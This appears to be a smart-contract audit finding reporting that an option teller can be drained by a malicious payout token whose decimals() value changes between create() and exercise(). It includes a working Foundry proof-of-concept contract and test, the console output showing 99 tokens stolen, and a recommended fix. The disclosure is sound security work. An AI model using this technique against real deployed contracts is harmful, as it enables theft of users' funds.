bin2chen

high

# steal funds with variable decimals of payoutToken

## Summary
Both `create()` and `exercise()` are divided by `payoutToken.decimals()` to calculate `quoteAmount`.
Since `payoutToken` can be specified arbitrarily, we can manipulate the conversion formula using a malicious token that can modify `decimals()`
thus stealing the `quoteToken` that exists in the contract
## Vulnerability Detail

in `create()` ,  formulas used : `uint256 quoteAmount = amount_.mulDiv(strikePrice, 10 ** payoutToken.decimals());`
```solidity
    function create(
        FixedStrikeOptionToken optionToken_,
        uint256 amount_
    ) external override nonReentrant {
...
        if (call) {
            // Transfer payout tokens from user
            // Check that amount received is not less than amount expected
            // Handles edge cases like fee-on-transfer tokens (which are not supported)
            uint256 startBalance = payoutToken.balanceOf(address(this));
            payoutToken.safeTransferFrom(msg.sender, address(this), amount_);
            uint256 endBalance = payoutToken.balanceOf(address(this));
            if (endBalance < startBalance + amount_)
                revert Teller_UnsupportedToken(address(payoutToken));
        } else {
            // Calculate amount of quote tokens required to mint
@>          uint256 quoteAmount = amount_.mulDiv(strikePrice, 10 ** payoutToken.decimals());

            // Transfer quote tokens from user
            // Check that amount received is not less than amount expected
            // Handles edge cases like fee-on-transfer tokens (which are not supported)
            uint256 startBalance = quoteToken.balanceOf(address(this));
            quoteToken.safeTransferFrom(msg.sender, address(this), quoteAmount);
            uint256 endBalance = quoteToken.balanceOf(address(this));
            if (endBalance < startBalance + quoteAmount)
                revert Teller_UnsupportedToken(address(quoteToken));
        }
```

in `exercise()` , again using the formula:`uint256 quoteAmount = amount_.mulDiv(strikePrice, 10 ** payoutToken.decimals());`
```solidity
    function exercise(
        FixedStrikeOptionToken optionToken_,
        uint256 amount_
    ) external override nonReentrant {
...
@>      uint256 quoteAmount = amount_.mulDiv(strikePrice, 10 ** payoutToken.decimals());

        // If not receiver, require payment
        if (msg.sender != receiver) {
....
        }

        // Burn option tokens
        optionToken.burn(msg.sender, amount_);

        if (call) {
            // Transfer payout tokens to user
            payoutToken.safeTransfer(msg.sender, amount_);
        } else {
            // Transfer quote tokens to user
            quoteToken.safeTransfer(msg.sender, quoteAmount);
        }
    }
```

This allows us to `deploy()` a optionToken with  malicious payToken.
For example
On `create()` `payToken.decimals()` returns 18
On `exercise()`, `payToken.decimals()` returns 16
Thus, we can deposit `1` and take out `100`.

Here is the test code.

add to `FixedStrikeOption.t.sol`
```solidity
contract StealMockERC20 {
    uint8 public decimals = 18;
    function changedecimals(uint8 newDec) external {
        decimals = newDec;
    }
    function symbol() external view returns (string memory) {
        return "StealMockERC20";
    }
}


    function test_steal() public {
        // 0. new fake payoutToken
        StealMockERC20 stealPayToken = new StealMockERC20();
        uint256 strikePrice = 1 * 10 ** def.decimals();
        FixedStrikeOptionToken optionToken = teller.deploy(
            ERC20(address(stealPayToken)),
            def,
            uint48(0),
            uint48(block.timestamp + 8 days),
            alice,
            false,
            strikePrice
        );
        // 1. Suppose there are 100 QuoteToken in teller
        def.mint(address(teller),100e18);
        uint256 initAmount = def.balanceOf(address(teller))/1e18; 
        console2.log("teller init balance:",initAmount);
        uint256 amount = 1 * 10 ** stealPayToken.decimals();
        // 2.create (1) with 18 decimals 
        vm.prank(alice);
        teller.create(optionToken, amount);
        console2.log("after create (1) with 18 decimals,balance:",def.balanceOf(address(teller))/1e18);
        // 3.exercise (1) with 16 decimals 
        stealPayToken.changedecimals(16);
        vm.prank(alice);
        teller.exercise(optionToken, amount);
        console2.log("after exercise (1) with 16 decimals,balance:",def.balanceOf(address(teller))/1e18);
        // 4.show steal 99
        console2.log("teller lost:",initAmount - def.balanceOf(address(teller))/1e18);
    }    

```

```console
$ forge test --match test_steal -vvv


Running 1 test for test/FixedStrikeOption.t.sol:FixedStrikeOptionTest
[PASS] test_steal() (gas: 444463)
Logs:
  teller init balance: 100
  after create (1) with 18 decimals,balance: 101
  after exercise (1) with 16 decimals,balance: 1
  teller lost: 99

Test result: ok. 1 passed; 0 failed; finished in 20.64ms
```

## Impact
steal teller contact's funds

## Code Snippet
https://github.com/sherlock-audit/2023-06-bond/blob/main/options/src/fixed-strike/FixedStrikeOptionTeller.sol#L283

https://github.com/sherlock-audit/2023-06-bond/blob/main/options/src/fixed-strike/FixedStrikeOptionTeller.sol#L339


## Tool used

Manual Review

## Recommendation

use `optionToken.decimals()` replace  `payoutToken.decimals()`

```solidity
    function create(
        FixedStrikeOptionToken optionToken_,
        uint256 amount_
    ) external override nonReentrant {
...
-           uint256 quoteAmount = amount_.mulDiv(strikePrice, 10 ** payoutToken.decimals());
+           uint256 quoteAmount = amount_.mulDiv(strikePrice, 10 ** optionToken.decimals());

            // Transfer quote tokens from user
            // Check that amount received is not less than amount expected
            // Handles edge cases like fee-on-transfer tokens (which are not supported)
            uint256 startBalance = quoteToken.balanceOf(address(this));
            quoteToken.safeTransferFrom(msg.sender, address(this), quoteAmount);
            uint256 endBalance = quoteToken.balanceOf(address(this));
            if (endBalance < startBalance + quoteAmount)
                revert Teller_UnsupportedToken(address(quoteToken));
        }

        // Mint new option tokens to sender
        optionToken.mint(msg.sender, amount_);
    }
```

```solidity
    function exercise(
        FixedStrikeOptionToken optionToken_,
        uint256 amount_
    ) external override nonReentrant {
.....

        if (uint48(block.timestamp) < eligible) revert Teller_NotEligible(eligible);

        // Validate that option token is not expired
        if (uint48(block.timestamp) >= expiry) revert Teller_OptionExpired(expiry);

        // Calculate amount of quote tokens equivalent to amount at strike price
-       uint256 quoteAmount = amount_.mulDiv(strikePrice, 10 ** payoutToken.decimals());
+       uint256 quoteAmount = amount_.mulDiv(strikePrice, 10 ** optionToken.decimals());


```